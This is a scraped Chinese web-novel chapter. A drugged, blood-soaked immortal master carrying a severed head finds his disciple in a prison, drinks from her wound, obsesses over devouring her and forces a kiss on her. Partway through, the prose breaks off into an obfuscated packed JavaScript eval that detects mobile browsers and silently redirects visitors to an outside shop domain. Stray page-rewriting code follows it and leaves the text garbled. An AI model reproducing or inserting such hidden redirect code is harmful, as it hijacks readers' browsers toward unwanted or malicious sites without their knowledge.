文趣网 > 其他小说 > 抛弃清冷仙尊后 > 14. 第 14 章
    闻声看去,一袭染血青衣、面戴白纱的女子正站在牢门外,静静看着浑身狼狈的陈白金。

    “师妹?”陈白金看清来人后难掩诧异,问:“你怎么会来这里?之前不是和我传信让我坚持住,等你解决完妖邪再来救我?

    你这次的行动这么快?”

    雪奴眨了眨眼,和他对视两秒后挪开目光,对着姜倾缓缓露出微笑:“又见面了,我名雪奴。”

    姜倾甩了甩发麻的掌心,将废了九牛二虎之力的绳子扔在地上,礼貌回道:“姜倾。”

    “原本按照我的计划,在今夜我将混入贵妃宫宴去试探那位蛊惑帝王的妖邪。”

    雪奴看向陈白金,眼中满是复杂,“但出了些状况,一些……”

    她止住声音,侧头望向死牢出口的方向,面色逐渐严肃。

    “师兄。”

    雪奴重新看向陈白金,虽是询问,却带着不容拒绝:“要与我一起避一避吗?”

    陈白金:“?”

    不等他反应过来,雪奴悍然一掌轰开牢门,随后在陈白金惊悚迷茫的目光中提着他的衣领向死牢最深处狂奔。

    巨响的余音仍回荡在死寂的牢狱,引得一众死刑犯侧目。

    声音制造者的身影很快消失不见,速度之快仿佛身后有什么异常恐怖的东西。

    姜倾看着倒在地上成团废铁的铁栏门,又看了眼自己这边没有遭受半分波及的牢门。

    难掩疑惑:“她怎么了?”

    小萝卜精也扭头看向入口:“貌似是避险去了。”

    起身走到栏杆前,看着厚重的铁锁,姜倾从袖中掏出昭明故意遗落在地上的耳环,将纤细的金钱丝掰直,插入锁芯。

    轻微的声响回荡在牢房,小萝卜精跳到她肩上,圆润的叶片抖了抖,再次朝走廊看去,表情逐渐变得与雪奴一样的严肃。

    “姜倾,有人过来了。”

    它说:“快跑……”

    姜倾:“?”

    她侧目看向空空如也的肩侧,小萝卜精的声音还未彻底散去便已不见踪影。

    在它消失的瞬间,有什么无形的东西顷刻间笼罩住这间牢房,带着滔天的杀意与压迫。

    来的是国师,还是别的什么人?

    姜倾不知道,她屏住呼吸,悄无声息地朝身后烛火照不到的黑暗退去。

    在死牢的入口,尚未被黑暗侵蚀的走廊,巡逻的侍卫以一种诡异扭曲的姿势躺在冰冷石阶上。

    猩红的血从他胸口翻滚的伤口中流出,顺着台阶涓涓流动,染红了数阶青石台阶。

    放大涣散的瞳孔中,映出道苍白的身影。

    似乎是察觉到危险到来,原本被巨大动静吸引变得躁动的囚犯们纷纷缩在烛火映不到的角落,努力放轻呼吸直至微不可闻。

    浓郁至极的血腥气不知从哪个方向传来,越来越近,越来越浓。

    是朝自己这边来的?

    姜倾皱了皱眉,手掌按在自己腰间。那里别着把从绣娘那里买来的匕首,必要时可以用来防身。

    极致的紧绷下,脖颈处被忽视许久的疼痛猛然炸开,像把尖锐锋利的刀在伤口处翻来覆去的搅拌。

    温热的濡湿流入衣领,没有及时得到救治的伤口崩裂,再度渗出殷红的血。

    借着走廊旁昏暗的烛火,姜倾看到一道身影停在自己牢门。

    清冷无尘的白衣被鲜血染红,往日总是用发带松松绑在脑后的发丝散着,垂在苍白的脸侧,无端添了份鬼魅。

    没想到会在这里见到他,姜倾短暂愣住,嘴唇动了动,想说些什么,目光却先一步凝滞。

    ——那只骨节分明的手里提着剑与一颗头颅,蜿蜒的血珠顺着剑锋滴在冰冷潮湿的泥土中。

    头皮发麻的血肉刺穿声响起,那颗蓬乱、被血迹覆盖全脸的头颅被剑尖钉在地上。

    姜倾从未见过苍梧令这副模样,与他往日清冷如仙的形象截然相反。

    极大的冲击使她大脑空白,漆黑的眸子映出徒手扯断锁门铁链的那道身影,然后,看着他一步步靠近。

    “……师父?”姜倾呐呐道。

    他面上无甚表情,伸出手,落在姜倾不断渗血的颈部。

    滚烫至极的触感让姜倾本能地抖了下,她想问发生了什么,他是怎么从戒备森严的皇宫来到这里的,提着的脑袋主人是谁,却被脖颈处骤然加剧的疼痛打断。

    她条件反射抓住冰冷的长发,想将埋在颈侧的脑袋扯开,反应过来是苍梧令后顿时松了力道。

    伤口被舔舐吮.吸血液的不适让姜倾眼前发黑,在阵阵的刺痛中她几乎要站立不稳,缓缓跪倒在地。

    即便如此,她依旧被紧紧锁在苍梧令怀中,动弹不得。

    他的唇齿撕咬着那道剑伤,吞噬不断溢出的血液,直到将其咽下后,空虚孤寂的心底得到前所未有的圆满。

    就该是这样的。

    他与姜倾,就该这样密不可分。

    啃咬她的血肉,吞噬她的血液,把她完完整整地吃进腹中,与他永远无法分开。

    这个想法出现,苍梧令混乱扭曲的识海为之一震,陌生的、带着病态般的欲望顷刻占据他的所有心神。

    ——他要吃掉姜倾。

    他想。

    外面有太多危险,太多算计,只一会不见,她便满身伤口,狼狈不堪。

    甚至被人划伤了最脆弱的脖颈。

    如果再深一些,那把剑会不会割断她的头颅?

    苍梧令的思绪从未有此刻清明,暗沉的目光直勾勾落在她被鲜血覆盖的肩颈。

    没有他,姜倾无法避开它们,只能踩着裹着毒药的陷阱磕磕绊绊的走,落得满身伤痕。

    如果被他吃掉……

    要是被他吃掉……

    倘若被他吃掉……

    ……世界上不会有比他腹中更安全的地方了,他会把她好好保护在体内,不会再有任何东西企图越过他去伤害姜倾。

    她只需要乖乖待在自己肚子里。

    毛骨悚然的寒意从脊背炸开,姜倾压下不知从何而来的惊悚,用力咬了口舌尖,强迫因失血过多昏沉麻木的大脑清醒。

    “……师父。”

    微不可闻的声音,被风一吹就散了,却成功让苍梧令停下撕咬的动作。

    口腔中是甜美顺滑的血液,属于姜倾的气息占据了他所有感知。

    被他紧紧抱在怀里的,是虚弱到没多少力气的姜倾。

    无法挣脱、无法拒绝。

    苍梧令抬起头,居高临下地看着发丝凌乱、眉峰蹙起的姜倾。

    “我……”

    修长的指节按在她唇上,堵住她接下来的话。

    苍梧令的金眸早已变为浓郁至极的黑,他唇角扬起,挂着温柔到毛骨悚然的笑容

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17790966|210260||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    “姜倾。”

    抓着姜倾的手,缓缓压在自己紧绷的腹部。

    “我知道,你想让我吃掉你。”

    柔和的笑意达不到眼底,他喃喃道:“乖孩子……”

    “唔!”

    姜倾只觉得肩上传来巨力,紧接着天旋地转,自己整个人被按在杂乱的地面上,伤口被粗糙稻草划过的刺痛让她眼中泛起生理性泪花。

    他低下头,视线落在随着眨眼溢出的泪水上,缓缓替她抹去。

    灼热的掌心抚上颈侧剑伤,伤口被轻微抚摸的不适让姜倾呼吸不稳,只能紧紧抓着他的手腕。

    身体上的重量很明显,压得她喘不过气。

    胸膛上方,属于师父的那具身体中的心跳逐渐加快,连带着他体内温度快速上升。

    本就滚烫的躯体染上更深的热意,透过布料、手腕处的皮肤传递到姜倾手心、身体各处,让她忍不住颤了下手臂。

    苍梧令瞳孔微动,将她的反应尽收眼底,反手握住姜倾的手腕放在自己脸侧。

    “别怕。”

    他轻声哄道:“师父把他们都杀了。”

    姜倾错愕地与他对视,在看到他眼中化不开的黑雾时心口重重一跳。

    苍梧令的状态不对。

    无论是他语序混乱地要吃掉她,还是刚刚满是阴森杀意的话都让她心底发寒。

    “他被下了药,神志不清下极有可能做出无法挽回的事情。”

    小萝卜精的声音突兀地在脑海里响起,带着罕见的严肃焦急。

    “姜倾,安抚他。”

    简单的两句话后,它的声音没有再响起。

    一如它以往神神秘秘的风格。

    短暂的沉默后,她的声音响起。

    “师父。”

    姜倾抬起另一只手,将他的长发挽到耳后,抽出被他放在口中啃咬的指尖。

    “为什么想吃掉我?”

    她看着苍梧令瞳孔中心若隐若现的猩红,继续问:“你都杀了谁?”

    他微微歪头,目光从姜倾眉心落在一张一合的唇瓣上。

    心底快要将他逼疯的渴求与仅存的理智在疯狂拉扯。

    他疯狂地想刨开她的腰腹,从柔软的内脏开始,一口一口将她吞下。

    这样,就不会再有任何东西在他不在时伤害到她。

    理智却拉着他摇摇欲坠的思绪,让他不得不意识到如果自己真的这样做了,姜倾再也回不来……

    回不来……

    ……

    ……不需要回来。

    苍梧令缓缓低下头,贴近姜倾的脸颊,混乱地想到。

    等他吃了她,以灵力温养着被他吞下的血肉,让她与自己永远不再分开。

    渴求占据上风,他再也无法忍受地启唇,本该落在脸侧啃咬的唇齿因骤然黑下去的视线偏移了方向。

    “……”

    唇上柔软的触感让姜倾的思绪陷入凝滞,微微放大的瞳孔中映出他毫无神采的眼睛。

    反应过来发生了什么后,铺天盖地的禁忌感与错愕将她淹没。

    姜倾猛地侧头避开。

    属于苍梧令的、带着血腥气的唇瓣因她的动作重重从自己唇上划过,带起铺天盖地直达心尖的战栗。

    她罕见慌乱,张了张口,想说些什么,却被只滚烫的掌心托着脸颊急躁地掰了回去。